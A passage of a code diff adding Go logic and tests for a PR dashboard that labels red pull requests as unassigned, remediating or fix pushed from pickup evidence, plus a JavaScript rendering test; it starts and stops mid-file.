"Remediating" only on one of these. +const ( + // remediationKindKick: a hive agent holds a fix kick for this head (fix + // dispatch record, or the agent's current action is on the PR since the + // red signal), or the claim ledger names a hive agent since then. + remediationKindKick = "kick" + // remediationKindClaim: a contributor's clanker took the fix task + // (relay claim) or a clanker claim landed on the PR since the signal. + remediationKindClaim = "claim" + // remediationKindPush: a new head landed after the red signal. + remediationKindPush = "push" + // remediationKindComment is reserved for an author's acknowledging + // comment; the tracker has no per-comment attribution yet, so no + // derivation emits it (a bare updated_at bump is not evidence). + remediationKindComment = "comment" +) + +// Code activity states the remediation derivation adds. +const ( + // codeStateUnassigned: red review / CI on the current head and no + // pickup evidence β€” the truthful waiting word. + codeStateUnassigned = "unassigned" + // codeStateRemediating: pickup evidence exists (kick / claim). + codeStateRemediating = "remediating" + // codeStateFixPushed: a head landed after the red signal; CI and the + // re-review for it are the open work. + codeStateFixPushed = "fix_pushed" +) + +// StageTrackerRemediation is the evidence that somebody picked a red PR up: +// who, what kind of evidence, when it started and which record it rests on. +type StageTrackerRemediation struct { + Actor string `json:"actor"` + Kind string `json:"kind"` + Since *time.Time `json:"since,omitempty"` + Source string `json:"source"` + // Head is the pushed head on push evidence. + Head string `json:"head,omitempty"` +} + +// stageTrackerRedSince reports when the current head's latest red signal +// (review changes requested, CI failing) began. A 07x row with no red +// activity recorded on its head is red since it entered the stage. +func stageTrackerRedSince(it *StageTrackerItem) (time.Time, string, bool) { + var since time.Time + word := "" + if a := it.CIActivity; a != nil && strings.EqualFold(a.Head, it.Head) && a.State == "failing" { + word = "CI failing" + if a.Since != nil { + since = *a.Since + } + } + if a := it.ReviewActivity; a != nil && strings.EqualFold(a.Head, it.Head) && a.State == "changes_requested" { + word = "Changes requested" + if a.Since != nil && a.Since.After(since) { + since = *a.Since + } + } + if word != "" { + return since, word, true + } + if it.Stage == trackerNumberFixing || it.Stage == trackerNumberNeedsAuthor || it.Stage == trackerNumberReturned { + if it.StageSince != nil { + since = *it.StageSince + } + return since, stageTrackerFixRequestedWord, true + } + return time.Time{}, "", false +} + +// stageTrackerFixRequestedWord is the red word for a 07x row whose current +// head has no review / CI verdict recorded yet. +const stageTrackerFixRequestedWord = "Fix requested" + +// stageTrackerRemediationEvidence is the one place pickup evidence is read. +// Each source is independent; the most recent evidence wins so a kick that +// follows a push (the agent iterating) reads as remediating again. +func stageTrackerRemediationEvidence(it *StageTrackerItem, dispatch review.DispatchState, status *StatusPayload, redSince, now time.Time) *StageTrackerRemediation { + var best *StageTrackerRemediation + consider := func(c *StageTrackerRemediation) { + if c == nil || c.Actor == "" { + return + } + if c.Since != nil && c.Since.After(now) { + t := now + c.Since = &t + } + if best == nil || (c.Since != nil && (best.Since == nil || c.Since.After(*best.Since))) { + best = c + } + } + consider(remediationFromFixDispatch(it, dispatch, status, now)) + consider(remediationFromAgentNow(it, status, redSince, now)) + consider(remediationFromClaimant(it, redSince)) + consider(remediationFromRework(it)) + consider(remediationFromPush(it, redSince)) + return best +} + +func remediationFromFixDispatch(it *StageTrackerItem, dispatch review.DispatchState, status *StatusPayload, now time.Time) *StageTrackerRemediation { + qualify := stageTrackerRepoQualifier(status) + for _, fix := range dispatch.Fixes { + if fix.Agent == "" || !trackerHeadMatches(it.Repo, it.Number, it.Head, qualify(fix.Repo), fix.Number, fix.HeadSHA) || + fix.Dispatched.IsZero() || fix.Dispatched.After(now) || now.Sub(fix.Dispatched) > review.DefaultPendingFixTTL { + continue + } + return &StageTrackerRemediation{Actor: fix.Agent, Kind: remediationKindKick, Since: timePtr(fix.Dispatched), Source: "fix-dispatch"} + } + return nil +} + +// remediationFromAgentNow: a working hive agent whose current action is on +// this PR and landed after the red signal. Review actions are the review +// swarm's, not a fix. +func remediationFromAgentNow(it *StageTrackerItem, status *StatusPayload, redSince, now time.Time) *StageTrackerRemediation { + if status == nil { + return nil + } + qualify := stageTrackerRepoQualifier(status) + for _, worker := range status.Agents { + action := worker.LastAction + if worker.Busy != "working" || worker.Paused || action == nil || !action.Current || !agentCausedAuditActions[action.Action] || + action.Action == github.AuditActionPRReviewed || action.Action == github.AuditActionAgentReviewRequested || + action.Number != it.Number || !strings.EqualFold(qualify(action.Repo), it.Repo) { + continue + } + at, err := time.Parse(time.RFC3339Nano, action.At) + if err != nil || at.After(now) || at.Before(redSince) { + continue + } + return &StageTrackerRemediation{Actor: worker.Name, Kind: remediationKindKick, Since: &at, Source: "agent-now"} + } + return nil +} + +// remediationFromClaimant: a claim-ledger / claim-comment claim that landed +// after the red signal. Authorship (source author) is not pickup. +func remediationFromClaimant(it *StageTrackerItem, redSince time.Time) *StageTrackerRemediation { + c := it.Claimant + if c == nil || c.Since == nil || c.Since.Before(redSince) { + return nil + } + switch { + case c.Kind == claimantKindHiveAgent && (c.Source == claimantSourceClaimLedger || c.Source == claimantSourceKickHistory) && c.Agent != "": + return &StageTrackerRemediation{Actor: c.Agent, Kind: remediationKindKick, Since: c.Since, Source: c.Source} + case c.Kind == claimantKindClanker && (c.Source == claimantSourceClaimLedger || c.Source == claimantSourceClaimComment) && c.Login != "": + return &StageTrackerRemediation{Actor: "@" + c.Login + "'s clanker", Kind: remediationKindClaim, Since: c.Since, Source: c.Source} + } + return nil +} + +// remediationFromRework: the contributor relay holds the fix task +// (in_progress) or the author's head landed (pushed). +func remediationFromRework(it *StageTrackerItem) *StageTrackerRemediation { + r := it.Rework + if r == nil || r.Actor == "" { + return nil + } + switch r.State { + case reworkStateInProgress: + return &StageTrackerRemediation{Actor: "@" + r.Actor + "'s clanker", Kind: remediationKindClaim, Since: r.Since, Source: "contributor-fix-relay"} + case reworkStatePushed: + return &StageTrackerRemediation{Actor: "@" + r.Actor, Kind: remediationKindPush, Since: r.Since, Source: "rework-commit", Head: r.Head} + } + return nil +} + +// remediationFromPush: the recorded push is newer than the red signal. A +// push the red review was given on is the reviewed head, not a fix. +func remediationFromPush(it *StageTrackerItem, redSince time.Time) *StageTrackerRemediation { + p := it.Push + if p == nil || p.State != pushStatePushed || p.Since == nil || !p.Since.After(redSince) { + return nil + } + actor := p.Login + if actor == "" { + actor = it.Author + } + if actor == "" { + actor = "author" + } + head := p.Sha + if head == "" { + head = it.Head + } + return &StageTrackerRemediation{Actor: "@" + actor, Kind: remediationKindPush, Since: p.Since, Source: "recorded-push", Head: head} +} + +// stageTrackerNextRemediator names who is expected to pick a red PR up when +// nobody has: the configured fixer for hive-owned PRs, the author otherwise. +func stageTrackerNextRemediator(it *StageTrackerItem, fixer string) string { + hiveOwned := it.AuthorKind == authorKindHive || (it.Claimant != nil && it.Claimant.Kind == claimantKindHiveAgent) + if it.Stage == trackerNumberNeedsAuthor || it.Stage == trackerNumberReturned { + hiveOwned = false + } + if hiveOwned { + if fixer == "" { + fixer = review.DefaultFixerAgent + } + return fixer + } + if it.Author != "" { + return "@" + it.Author + } + return "author" +} + +// stageTrackerFixerAgent is the configured fix agent (review.fixer_agent), +// falling back to the dispatcher's default. +func stageTrackerFixerAgent(cfg *config.Config) string { + if cfg != nil && strings.TrimSpace(cfg.Review.FixerAgent) != "" { + return strings.TrimSpace(cfg.Review.FixerAgent) + } + return review.DefaultFixerAgent +} + +func stageTrackerShortSHA(sha string) string { + if len(sha) > 7 { + return sha[:7] + } + return sha +} + +func stageTrackerShortAge(since *time.Time, now time.Time) string { + if since == nil || since.After(now) { + return "" + } + d := now.Sub(*since).Round(time.Minute) + switch { + case d < time.Minute: + return "just now" + case d < time.Hour: + return fmt.Sprintf("%dm", int(d.Minutes())) + case d < 48*time.Hour: + return fmt.Sprintf("%dh", int(d.Hours())) + } + return fmt.Sprintf("%dd", int(d.Hours()/24)) +} + +// stageTrackerApplyRemediation runs after stageTrackerApplyCodeActivity: on +// a PR whose current head is red (or that sits in a 07x fix stage) it +// replaces the code activity with the evidence-based remediation word and +// records the evidence on the item. Observed code work (fixing) and a +// same-head CI retry keep their own, more specific words. +func stageTrackerApplyRemediation(it *StageTrackerItem, dispatch review.DispatchState, status *StatusPayload, fixer string, now time.Time) { + it.Remediation = nil + if it.Kind != "pr" || it.Head == "" || it.Superseded != nil || it.Stage == trackerNumberNeedsDecision || it.Stage >= trackerNumberAwaitingMerge { + return + } + redSince, redWord, red := stageTrackerRedSince(it) + if !red { + return + } + out := it.CodeActivity + if out == nil { + out = trackerUnknownActivity(it.Head, "Code activity unknown") + } + // A 07x row whose head carries no red verdict yet and a push marker: the + // push IS the new head (stageTrackerPushFor binds it to the current + // head). Its native word stands; the push is the evidence. + if redWord == stageTrackerFixRequestedWord && out.State == "pushed" && it.Push != nil { + it.Remediation = remediationFromPush(it, time.Time{}) + return + } + ev := stageTrackerRemediationEvidence(it, dispatch, status, redSince, now) + it.Remediation = ev + if out.State == "fixing" && out.Active { + return + } + if out.State == "waiting_ci" && out.Source == "recorded-ci-retry" { + return + } + redAt := "" + if !redSince.IsZero() { + redAt = " at " + redSince.UTC().Format(time.RFC3339) + } + switch { + case ev != nil && ev.Kind == remediationKindPush: + out = &StageTrackerActivity{Head: it.Head, State: codeStateFixPushed, Actor: ev.Actor, Source: ev.Source, Since: ev.Since} + out.Caption = "Fix pushed " + stageTrackerShortSHA(ev.Head) + " Β· re-review pending" + if a := it.CIActivity; a != nil && strings.EqualFold(a.Head, it.Head) && (a.State == "queued" || a.State == "running" || a.State == "unknown") { + out.Caption = "Fix pushed " + stageTrackerShortSHA(ev.Head) + " Β· CI pending" + } + out.Detail = ev.Actor + " pushed " + stageTrackerShortSHA(ev.Head) + " after the " + strings.ToLower(redWord) + " signal" + redAt + + "; CI and the re-review on the new head decide whether it stands (evidence: push, " + ev.Source + ")." + it.DisplayColumn = trackerNumberReviewPending + case ev != nil: + out = &StageTrackerActivity{Head: it.Head, State: codeStateRemediating, Actor: ev.Actor, Source: ev.Source, Since: ev.Since, ObservedAt: timePtr(now), Active: true} + out.Caption = "Remediating Β· " + ev.Actor + if age := stageTrackerShortAge(ev.Since, now); age != "" { + out.Caption += " Β· " + age + } + if it.CodeActivity != nil && it.CodeActivity.State == "waiting_ci" { + out.Caption += " Β· waiting for CI" + } + what := map[string]string{remediationKindKick: "a hive fix kick is running", remediationKindClaim: "a contributor clanker claimed the fix", remediationKindComment: "the author acknowledged"}[ev.Kind] + out.Detail = redWord + redAt + "; " + what + " (evidence: " + ev.Kind + ", " + ev.Source + if ev.Since != nil { + out.Detail += ", since " + ev.Since.UTC().Format(time.RFC3339) + } + out.Detail += ")." + it.DisplayColumn = trackerNumberPRInProgress + case out.State == "waiting_owner": + out.Caption = strings.Replace(out.Caption, " Β· not observed coding", " Β· "+strings.ToLower(redWord), 1) + out.Detail = redWord + redAt + "; no push, claim or fix kick seen since. A new head from @" + it.Author + ", a clanker claim or a hive adoption would move it." + it.DisplayColumn = trackerNumberPRInProgress + default: + next := stageTrackerNextRemediator(it, fixer) + out = &StageTrackerActivity{Head: it.Head, State: codeStateUnassigned, Source: "no-pickup-evidence", Since: timePtr(redSince)} + if redSince.IsZero() { + out.Since = nil + } + out.Caption = redWord + " Β· unassigned" + if r := it.Rework; r != nil && r.Evidence == reworkEvidenceQueued && r.Actor != "" { + out.Caption += fmt.Sprintf(" Β· fixer queued, %d ahead", r.Ahead) + next = "@" + r.Actor + "'s clanker" + } + out.Caption += " Β· next: " + next + out.Detail = redWord + redAt + "; no fix kick, claim or new head seen since. It switches to Remediating when a hive fix kick for this head runs, a clanker claims it or " + next + " pushes." + if it.CodeActivity != nil && it.CodeActivity.Blocker != "" { + out.Blocker = it.CodeActivity.Blocker + } + it.DisplayColumn = trackerNumberPRInProgress + } + it.CodeActivity = out + if it.Stage == trackerNumberFixing && it.Superseded == nil && + (it.Caption == "" || strings.HasPrefix(it.Caption, "Waiting for fixer") || strings.HasPrefix(it.Caption, "New head pushed") || + strings.HasPrefix(it.Caption, "Remediating") || strings.HasPrefix(it.Caption, "Fixing")) { + it.Caption = out.Caption + } +} diff --git a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js new file mode 100644 index 0000000000..ca3ddcb8a7 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js @@ -0,0 +1,102 @@ +// The PR in progress chevron on a red PR (hivecommons/hive stage +// stage_tracker_remediation.go): "Changes requested Β· unassigned" bright +// and still, "Remediating Β· <actor>" pulsing on pickup evidence, and a +// done-style "Fix pushed <sha> Β· re-review pending" once a head lands after +// the red signal. Functions are lifted from static-src as the activity +// test does. +const test = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); + +const root = path.join(__dirname, 'static-src', 'js'); +const strip = fs.readFileSync(path.join(root, 'tracker-row-strip.js'), 'utf8'); +const anchor = fs.readFileSync(path.join(root, 'tracker-row-anchor.js'), 'utf8'); +const rowSource = fs.readFileSync(path.join(root, 'tracker-row.js'), 'utf8'); +function fn(source, name) { + const match = source.match(new RegExp('function ' + name + '\\([^]*?\\n \\}')); + assert.ok(match, name); + return match[0]; +} +const esc = text => String(text).replaceAll('&', '&').replaceAll('<', '<').replaceAll('"', '"'); +const globals = ` +const STAGE_TRACKER_PATH = [0, 10, 20, 30, 50, 80]; +const STAGE_TRACKER_TERMINAL = 110; +const STAGE_TRACKER_PR_COLUMN = 30, STAGE_TRACKER_MERGE_COLUMN = 80; +const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45; +const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; +const STAGE_TRACKER_PRE_MERGE_SOAK = 95; +`; +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); +const segments = new Function('stageTrackerAnchor', globals + ` +const STAGE_TRACKER_ACTIVE_WORD = {70: 'Fixing'}; +const STAGE_TRACKER_HUMAN_GATED = 85, STAGE_TRACKER_READY_FOR_HUMAN_MERGE = 90, STAGE_TRACKER_ADOPTED_BY_HIVE = 74; +function stageTrackerSentinelInLane() { return false; } +function stageTrackerUnauthorizedWord() { return ''; } +function stageTrackerManualMergeWord() { return 'Ready for human merge'; } +` + fn(rowSource, 'stageTrackerSegments') + ';return stageTrackerSegments;')(getAnchor); +const renderStrip = new Function('esc', 'stageTrackerSegments', 'stageTrackerActivityTrackHtml', globals + ` +const STAGE_TRACKER_MOTION_STATIC = 'static', STAGE_TRACKER_MOTION_ACTIVE = 'active'; +const STAGE_TRACKER_READY_FOR_HUMAN_MERGE = 90; +function stageTrackerActorKind() { return ''; } +function stageTrackerActorTip() { return ''; } +function stageTrackerMotion() { return STAGE_TRACKER_MOTION_STATIC; } +function stageTrackerIcon(n) { return '<svg data-icon="' + n + '"></svg>'; } +` + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track); + +const stages = [{ number: 70, branch_from: 50 }, { number: 71, branch_from: 50 }, { number: 72, branch_from: 50 }]; +const now = Date.parse('2026-11-04T02:45:00Z'); +const red = '2026-11-04T02:05:00Z'; +const cells = item => [...renderStrip(item, stages, null, now, {}).matchAll(/<li\b[^]*?<\/li>/g)].map(m => m[0]); +const redPR = extra => ({ + kind: 'pr', repo: 'org/repo', number: 7, head: 'abc1234def', stage: 70, modifiers: [], + ci_activity: { head: 'abc1234def', state: 'passing', caption: 'CI 11/11 passed', source: 'checks', observed_at: '2026-11-04T02:44:00Z' }, + review_activity: { head: 'abc1234def', state: 'changes_requested', caption: 'Review 5/5 Β· changes requested', source: 'verified-review-bundle', observed_at: '2026-11-04T02:44:00Z', since: red }, + ...extra, +}); + +test('unassigned: PR in progress is lit, bright and still, with the pickup rule in its tooltip', () => { + const item = redPR({ display_column: 30, code_activity: { head: 'abc1234def', state: 'unassigned', caption: 'Changes requested Β· unassigned Β· next: scanner', source: 'no-pickup-evidence', since: red, detail: 'Changes requested at ' + red + '; no fix kick, claim or new head seen since. It switches to Remediating when a hive fix kick for this head runs, a clanker claims it or scanner pushes.' } }); + const c = cells(item); + const pr = c[3]; + assert.match(pr, /class="ham-seg active[^"]*ham-remediation-unassigned/); + assert.match(pr, /data-remediation="unassigned"/); + assert.match(pr, /Changes requested Β· unassigned Β· next: scanner/); + assert.doesNotMatch(pr, /data-motion="active"/, 'nobody is on it: no pulse'); + assert.match(pr, /switches to Remediating when a hive fix kick/); + assert.match(c[5], /data-activity-state="changes_requested"/, 'the Review track keeps its own red state'); +}); + +test('remediating: the chevron pulses, names the actor and shows the evidence kind and time', () => { + const item = redPR({ display_column: 30, + remediation: { actor: 'scanner', kind: 'kick', since: '2026-11-04T02:41:00Z', source: 'fix-dispatch' }, + code_activity: { head: 'abc1234def', state: 'remediating', caption: 'Remediating Β· scanner Β· 4m', actor: 'scanner', active: true, source: 'fix-dispatch', since: '2026-11-04T02:41:00Z', observed_at: '2026-11-04T02:45:00Z', detail: 'Changes requested at ' + red + '; a hive fix kick is running (evidence: kick, fix-dispatch, since 2026-11-04T02:41:00Z).' } }); + const pr = cells(item)[3]; + assert.match(pr, /class="ham-seg active[^"]*ham-remediation-remediating/); + assert.match(pr, /data-motion="active"/); + assert.match(pr, /Remediating Β· scanner Β· 4m/); + assert.match(pr, /evidence: kick by scanner since 2026-11-04T02:41:00Z \(fix-dispatch\)/); +}); + +test('fix pushed: PR in progress is done-style with its word while CI / Review is the current column', () => { + const item = redPR({ display_column: 50, head: 'f269349abcdef', + ci_activity: { head: 'f269349abcdef', state: 'running', caption: 'CI running', source: 'checks', observed_at: '2026-11-04T02:44:00Z' }, + review_activity: { head: 'f269349abcdef', state: 'unknown', caption: 'Review unknown', source: 'unavailable' }, + remediation: { actor: '@hive[bot]', kind: 'push', since: '2026-11-04T02:43:00Z', source: 'recorded-push', head: 'f269349abcdef' }, + code_activity: { head: 'f269349abcdef', state: 'fix_pushed', caption: 'Fix pushed f269349 Β· CI pending', source: 'recorded-push', since: '2026-11-04T02:43:00Z' } }); + const c = cells(item); + const pr = c[3]; + assert.match(pr, /class="ham-seg done ham-fix-pushed/); + assert.match(pr, /data-remediation="fix_pushed"/); + assert.match(pr, /Fix pushed f269349 Β· CI pending/); + assert.doesNotMatch(pr, /aria-current/, 'the pushed fix is history: CI / Review is the current column'); + assert.match(pr, /evidence: push by @hive\[bot\]/); + assert.match(c[4], /ham-current/, 'CI track is current'); +}); + +test('a red PR with a stale code head renders no remediation attributes', () => { + const item = redPR({ display_column: 30, code_activity: { head: 'older', state: 'unassigned', caption: 'Changes requested Β· unassigned Β· next: scanner' } }); + const html = renderStrip(item, stages, null, now, {}); + assert.doesNotMatch(html, /data-remediation=/); +}); diff --git a/src/pkg/dashboard/stage_tracker_remediation_test.go b/src/pkg/dashboard/stage_tracker_remediation_test.go new file mode 100644 index 0000000000..9ec7e20424 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_remediation_test.go @@ -0,0 +1,225 @@ +package dashboard + +import ( + "os/exec" + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/review" +) + +// A hive-authored 070 PR whose head was pushed BEFORE the review asked for +// changes: the recorded push is the reviewed head, not a fix. +func remediationRedPR(now time.Time) *StageTrackerItem { + pushed := now.Add(-3 * time.Hour) + red := now.Add(-40 * time.Minute) + stageSince := now.Add(-39 * time.Minute) + it := &StageTrackerItem{Repo: "org/repo", Kind: "pr", Number: 7, Head: "abc1234def", Author: "hive[bot]", AuthorKind: authorKindHive, + Stage: trackerNumberFixing, StageSince: &stageSince, Caption: "New head pushed Β· CI and re-review", + CIActivity: &StageTrackerActivity{Head: "abc1234def", State: "passing"}, + ReviewActivity: &StageTrackerActivity{Head: "abc1234def", State: "changes_requested", Since: &red}, + Push: &StageTrackerPush{State: pushStatePushed, Login: "hive[bot]", Since: &pushed, Sha: "abc1234def"}, + Claimant: &StageTrackerClaimant{Kind: claimantKindHiveAgent, Login: "hive[bot]", Source: claimantSourceAuthor, Since: &stageSince}} + stageTrackerApplyCodeActivity(it, review.DispatchState{}, nil, now) + return it +} + +func TestStageTrackerRemediationUnassignedWithoutEvidence(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + it := remediationRedPR(now) + if it.CodeActivity.State != "pushed" || it.DisplayColumn != trackerNumberReviewPending { + t.Fatalf("precondition: stale push marker expected, got %s col %d", it.CodeActivity.State, it.DisplayColumn) + } + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if it.Remediation != nil { + t.Fatalf("no evidence must yield no remediation record: %+v", it.Remediation) + } + ca := it.CodeActivity + if ca.State != codeStateUnassigned || ca.Caption != "Changes requested Β· unassigned Β· next: scanner" || it.DisplayColumn != trackerNumberPRInProgress { + t.Fatalf("unassigned word: state=%s caption=%q col=%d", ca.State, ca.Caption, it.DisplayColumn) + } + if !strings.Contains(ca.Detail, "switches to Remediating when") || ca.Since == nil || !ca.Since.Equal(now.Add(-40*time.Minute)) { + t.Fatalf("detail should explain pickup triggers and date the red signal: %q since=%v", ca.Detail, ca.Since) + } + if it.Caption != ca.Caption { + t.Fatalf("070 caption follows the code word: %q", it.Caption) + } +} + +func TestStageTrackerRemediationCIFailingWordAndPersonNext(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + it := remediationRedPR(now) + it.ReviewActivity = &StageTrackerActivity{Head: it.Head, State: "unknown"} + red := now.Add(-10 * time.Minute) + it.CIActivity = &StageTrackerActivity{Head: it.Head, State: "failing", Since: &red} + it.AuthorKind, it.Author, it.Claimant = authorKindHuman, "alice", nil + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if got := it.CodeActivity.Caption; got != "CI failing Β· unassigned Β· next: @alice" { + t.Fatalf("CI-only red names CI and the author: %q", got) + } +} + +func TestStageTrackerRemediationEvidenceKickFromFixDispatch(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + it := remediationRedPR(now) + dispatched := now.Add(-4 * time.Minute) + dispatch := review.DispatchState{Fixes: []review.PendingFix{{Repo: it.Repo, Number: it.Number, HeadSHA: it.Head, Agent: "scanner", Dispatched: dispatched}}} + stageTrackerApplyRemediation(it, dispatch, nil, "scanner", now) + ev := it.Remediation + if ev == nil || ev.Kind != remediationKindKick || ev.Actor != "scanner" || ev.Source != "fix-dispatch" || !ev.Since.Equal(dispatched) { + t.Fatalf("fix dispatch is kick evidence: %+v", ev) + } + ca := it.CodeActivity + if ca.State != codeStateRemediating || ca.Caption != "Remediating Β· scanner Β· 4m" || !ca.Active || it.DisplayColumn != trackerNumberPRInProgress { + t.Fatalf("remediating word: state=%s caption=%q active=%v col=%d", ca.State, ca.Caption, ca.Active, it.DisplayColumn) + } + if !strings.Contains(ca.Detail, "evidence: kick, fix-dispatch, since "+dispatched.Format(time.RFC3339)) { + t.Fatalf("tooltip carries evidence kind and time: %q", ca.Detail) + } + // An expired dispatch is no evidence. + dispatch.Fixes[0].Dispatched = now.Add(-review.DefaultPendingFixTTL - time.Minute) + it = remediationRedPR(now) + stageTrackerApplyRemediation(it, dispatch, nil, "scanner", now) + if it.Remediation != nil || it.CodeActivity.State != codeStateUnassigned { + t.Fatalf("expired dispatch must not read as pickup: %+v %s", it.Remediation, it.CodeActivity.State) + } +} + +func TestStageTrackerRemediationEvidenceKickFromAgentNow(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + it := remediationRedPR(now) + at := now.Add(-2 * time.Minute) + status := &StatusPayload{Agents: []FrontendAgent{ + {Name: "reviewer", Busy: "working", LastAction: &FrontendAgentLastAction{Repo: it.Repo, Number: it.Number, Action: github.AuditActionPRReviewed, Current: true, At: at.Format(time.RFC3339Nano)}}, + {Name: "scanner", Busy: "working", LastAction: &FrontendAgentLastAction{Repo: it.Repo, Number: it.Number, Action: github.AuditActionAgentCommentCreated, Current: true, At: at.Format(time.RFC3339Nano)}}, + }} + stageTrackerApplyRemediation(it, review.DispatchState{}, status, "scanner", now) + if ev := it.Remediation; ev == nil || ev.Kind != remediationKindKick || ev.Actor != "scanner" || ev.Source != "agent-now" { + t.Fatalf("working agent on the PR after the red signal is kick evidence: %+v", ev) + } + // The reviewer alone is the review swarm, not a fix; an action older + // than the red signal is the earlier turn. + status.Agents = status.Agents[:1] + it = remediationRedPR(now) + stageTrackerApplyRemediation(it, review.DispatchState{}, status, "scanner", now) + if it.Remediation != nil { + t.Fatalf("review action is not pickup: %+v", it.Remediation) + } + status.Agents = []FrontendAgent{{Name: "scanner", Busy: "working", LastAction: &FrontendAgentLastAction{Repo: it.Repo, Number: it.Number, Action: github.AuditActionAgentPRCreated, Current: true, At: now.Add(-2 * time.Hour).Format(time.RFC3339Nano)}}} + it = remediationRedPR(now) + stageTrackerApplyRemediation(it, review.DispatchState{}, status, "scanner", now) + if it.Remediation != nil { + t.Fatalf("pre-signal action is not pickup: %+v", it.Remediation) + } +} + +func TestStageTrackerRemediationEvidenceClaim(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + since := now.Add(-9 * time.Minute) + it := remediationRedPR(now) + it.Rework = &StageTrackerRework{State: reworkStateInProgress, Actor: "bob", Evidence: reworkEvidenceClaim, Since: &since} + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if ev := it.Remediation; ev == nil || ev.Kind != remediationKindClaim || ev.Actor != "@bob's clanker" || ev.Source != "contributor-fix-relay" { + t.Fatalf("relay claim is claim evidence: %+v", ev) + } + if got := it.CodeActivity.Caption; got != "Remediating Β· @bob's clanker Β· 9m" { + t.Fatalf("claim word: %q", got) + } + // A clanker claim on the PR after the signal counts; the authorship + // claimant never does. + it = remediationRedPR(now) + it.Claimant = &StageTrackerClaimant{Kind: claimantKindClanker, Login: "carol", Source: claimantSourceClaimComment, Since: &since} + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if ev := it.Remediation; ev == nil || ev.Kind != remediationKindClaim || ev.Actor != "@carol's clanker" { + t.Fatalf("claim comment is claim evidence: %+v", ev) + } + before := now.Add(-2 * time.Hour) + it = remediationRedPR(now) + it.Claimant = &StageTrackerClaimant{Kind: claimantKindClanker, Login: "carol", Source: claimantSourceClaimLedger, Since: &before} + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if it.Remediation != nil { + t.Fatalf("claim older than the red signal is not pickup: %+v", it.Remediation) + } + // A queued relay fix is a waiting word with its queue position. + it = remediationRedPR(now) + it.Rework = &StageTrackerRework{State: reworkStateRequested, Actor: "bob", Evidence: reworkEvidenceQueued, Ahead: 3} + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if it.Remediation != nil || it.CodeActivity.Caption != "Changes requested Β· unassigned Β· fixer queued, 3 ahead Β· next: @bob's clanker" { + t.Fatalf("queued fix is waiting, not remediating: %+v %q", it.Remediation, it.CodeActivity.Caption) + } +} + +func TestStageTrackerRemediationEvidencePush(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + it := remediationRedPR(now) + pushed := now.Add(-2 * time.Minute) + it.Push = &StageTrackerPush{State: pushStatePushed, Login: "hive[bot]", Since: &pushed, Sha: "f269349abcdef"} + it.Head = "f269349abcdef" + it.CIActivity = &StageTrackerActivity{Head: it.Head, State: "running"} + it.ReviewActivity = &StageTrackerActivity{Head: it.Head, State: "changes_requested", Since: it.ReviewActivity.Since} + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if ev := it.Remediation; ev == nil || ev.Kind != remediationKindPush || ev.Actor != "@hive[bot]" || ev.Head != "f269349abcdef" || ev.Source != "recorded-push" { + t.Fatalf("push after the signal is push evidence: %+v", ev) + } + ca := it.CodeActivity + if ca.State != codeStateFixPushed || ca.Caption != "Fix pushed f269349 Β· CI pending" || ca.Active || it.DisplayColumn != trackerNumberReviewPending { + t.Fatalf("fix pushed word: state=%s caption=%q active=%v col=%d", ca.State, ca.Caption, ca.Active, it.DisplayColumn) + } + it.CIActivity.State = "passing" + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if got := it.CodeActivity.Caption; got != "Fix pushed f269349 Β· re-review pending" { + t.Fatalf("green CI leaves the re-review: %q", got) + } + // 072: the author's head after the ask (rework pushed) is push evidence. + it = remediationRedPR(now) + it.Stage, it.Author, it.AuthorKind = trackerNumberReturned, "dave", authorKindClanker + it.Push = nil + it.Rework = &StageTrackerRework{State: reworkStatePushed, Actor: "dave", Evidence: reworkEvidenceCommit, Head: "0123456789", Since: &pushed} + stageTrackerApplyCodeActivity(it, review.DispatchState{}, nil, now) + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if ev := it.Remediation; ev == nil || ev.Kind != remediationKindPush || ev.Actor != "@dave" || it.CodeActivity.Caption != "Fix pushed 0123456 Β· re-review pending" { + t.Fatalf("rework push: %+v %q", ev, it.CodeActivity.Caption) + } +} + +func TestStageTrackerRemediationKeepsOwnerWaitAndObservedWork(t *testing.T) { + now := time.Date(2026, 11, 4, 2, 45, 0, 0, time.UTC) + it := remediationRedPR(now) + it.Stage, it.Author, it.AuthorKind, it.Push = trackerNumberReturned, "erin", authorKindClanker, nil + stageTrackerApplyCodeActivity(it, review.DispatchState{}, nil, now) + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + ca := it.CodeActivity + if 